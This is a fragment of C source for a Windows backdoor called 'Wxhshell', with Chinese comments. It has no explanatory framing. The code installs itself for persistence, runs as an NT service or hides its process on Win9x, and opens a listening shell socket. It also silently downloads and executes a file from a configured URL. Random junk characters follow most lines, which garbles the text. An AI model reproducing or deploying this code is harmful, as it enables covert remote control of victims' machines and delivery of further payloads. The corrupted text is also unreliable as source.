ULONG InheritedFromUniqueProcessId; o=@0Bd8
} PROCESS_BASIC_INFORMATION; d$Y3 a^O|
t\Pn67t
PROCNTQSIP NtQueryInformationProcess; nm5zX,
x(pq!+~K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |U)m'W-(q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G347&F)
=
}0M^F
HANDLE hProcess; {5w'.Z]0v
PROCESS_BASIC_INFORMATION pbi; (WZKqt)S"o
0goKiPx
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "h?;)Ye
if(NULL == hInst ) return 0; RP 'VEJ
:ZG^`H/X1d
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &9X`tCnL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -;9pZ'r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |`d,r.+P7
['~j1!/;6
if (!NtQueryInformationProcess) return 0; |<tZ|
XN65bq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b Lag&c)
if(!hProcess) return 0; ~_<I}!j/B
$.{CA-~%[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KzD5>Xf]4$
;Yo9e~
CloseHandle(hProcess); =+;1^sZ
W _j`'WN/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \)Jv4U\;
if(hProcess==NULL) return 0; &* GwA
{];4
HMODULE hMod; Pl^-]~
char procName[255]; jusP
aAdW
unsigned long cbNeeded; h<;kj#qbb
tTrUVuZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B~zP!^m
oEPO0O
CloseHandle(hProcess); HgL*/d
N'hj
if(strstr(procName,"services")) return 1; // 以服务启动 {g9?Eio^F^
AdBF$nn[
return 0; // 注册表启动 kw)@[1U
} n.zVCKNH
'A@[a_
// 主模块 Bfhw0v]Z
int StartWxhshell(LPSTR lpCmdLine) gEC*JbA.3
{ F%QZe*m[
SOCKET wsl; p_h)|*W{
BOOL val=TRUE; +9Z RCmV
int port=0; d.y2`wT
struct sockaddr_in door; eveGCV;@
b(&~f@%|
if(wscfg.ws_autoins) Install(); +LddW0h+=8
q)JG_Y.p
port=atoi(lpCmdLine); K^z-G=|N
qT]Bl+h2
if(port<=0) port=wscfg.ws_port; iw1((&^)"
o%#Z
WSADATA data; K0B
J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N}{CL(xi
/E>z8J$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T8Sgu6:*R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,])@?TJb@
door.sin_family = AF_INET; J]uYXsC
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9D74/3b*
door.sin_port = htons(port); ^aVoH/q*C
'G z>X :
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %-"?
closesocket(wsl); AMqu}G
return 1; : sIZ+3
} G#V5E)Dx
w`XwW#!}@$
if(listen(wsl,2) == INVALID_SOCKET) { Yo0%5 noz
closesocket(wsl); 7Cf%v`B4D
return 1; FI@2KM
} ^9T6Ix{=
Wxhshell(wsl); EFeG[bxM
WSACleanup(); !NuYx9L?L
-x
)(2|
return 0; pGw|T~e%
TnET1$@qr*
} YLk; ^?
Mi'Q5m
// 以NT服务方式启动 lh`inAt)"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PZ69aZ*Gs
{ (?-5p;
DWORD status = 0; wqo2iRql
DWORD specificError = 0xfffffff; ?QO)b9
Re?sopg0r
serviceStatus.dwServiceType = SERVICE_WIN32; 20 gPx;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YN4P
>d
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2 cfzLW(
serviceStatus.dwWin32ExitCode = 0; Db({k,P'Y
serviceStatus.dwServiceSpecificExitCode = 0; GEP YSp
serviceStatus.dwCheckPoint = 0; 'N,3]Soi
serviceStatus.dwWaitHint = 0; 2L.UEAt
Q6?+# }
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g#FqjE|mx
if (hServiceStatusHandle==0) return; J)(H-xvV
&rj6<b1A
status = GetLastError(); Ne/jvWWN
if (status!=NO_ERROR) /:dVW"A|
{ Y.rHl4
serviceStatus.dwCurrentState = SERVICE_STOPPED; (\FjbY9&
serviceStatus.dwCheckPoint = 0; }|f\'S
serviceStatus.dwWaitHint = 0; (_]{[dFr%
serviceStatus.dwWin32ExitCode = status; IBl}.o&]B#
serviceStatus.dwServiceSpecificExitCode = specificError; l/OG79qq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jsTb0
return; `xe[\Z2
} :7Mo0,Bw,
RLY Ae
serviceStatus.dwCurrentState = SERVICE_RUNNING; >>krH'79
serviceStatus.dwCheckPoint = 0; Y5LESZWo
serviceStatus.dwWaitHint = 0; l1`Zp9I
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6, ag\
} <Xw 6m$fr:
;}K1c+m!5V
// 处理NT服务事件,比如:启动、停止 aq"E@fb
VOID WINAPI NTServiceHandler(DWORD fdwControl) 18w[T=7)
{ Zx25H"5j
switch(fdwControl) Faa:h#
{ Q"8)'dL'
case SERVICE_CONTROL_STOP: 7d/wT+f
serviceStatus.dwWin32ExitCode = 0; n);2b\&
serviceStatus.dwCurrentState = SERVICE_STOPPED; S|;a=K&hS
serviceStatus.dwCheckPoint = 0; _5M!ec
serviceStatus.dwWaitHint = 0; )?'sw5C
{ ,)V*xpp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`f gn9p
} .}ZX~k&P
return; *Q=-7am
case SERVICE_CONTROL_PAUSE: F']Vg31c
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6 6x} |7
break; LYh5f#
case SERVICE_CONTROL_CONTINUE: P;KbS~ SlC
serviceStatus.dwCurrentState = SERVICE_RUNNING; [OG-ZcNu?
break; aVuan&]*=
case SERVICE_CONTROL_INTERROGATE: Cd#*Wp)s
break; f&`v-kiAn=
}; )Tngtt D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 N=KU
} /(n)I
: ` F>B
// 标准应用程序主函数 eHv~?b5l
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KGi@H%NN
{ DWJ%r"aN
$qQ6u!
// 获取操作系统版本 V2w[0^L
OsIsNt=GetOsVer(); {z@vSQ=)=P
GetModuleFileName(NULL,ExeFile,MAX_PATH); G+[>or}
aC3\Hs
// 从命令行安装 &:]_a?|*S
if(strpbrk(lpCmdLine,"iI")) Install(); o)}b Fw
4)2*|w
// 下载执行文件 Ms1\J2
if(wscfg.ws_downexe) { * VW\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ygpC1nN
WinExec(wscfg.ws_filenam,SW_HIDE); d;lp^K
M
} MBcOIy[&A
XP2=x_"y
if(!OsIsNt) { 2!68W
X
// 如果时win9x,隐藏进程并且设置为注册表启动 +6<MK;
HideProc(); LDV{#5J
StartWxhshell(lpCmdLine); \07Vh6cj
} }J`{g/
else /UyW&]nK
if(StartFromService()) w0/W=!_
// 以服务方式启动 l$m^{6IYc
StartServiceCtrlDispatcher(DispatchTable); Bo%M-Gmu
else BqZLqGOKu
// 普通方式启动 3=bzIU
StartWxhshell(lpCmdLine); ' 1P_*
I4|p;\`fK
return 0; 9U}EVpD
}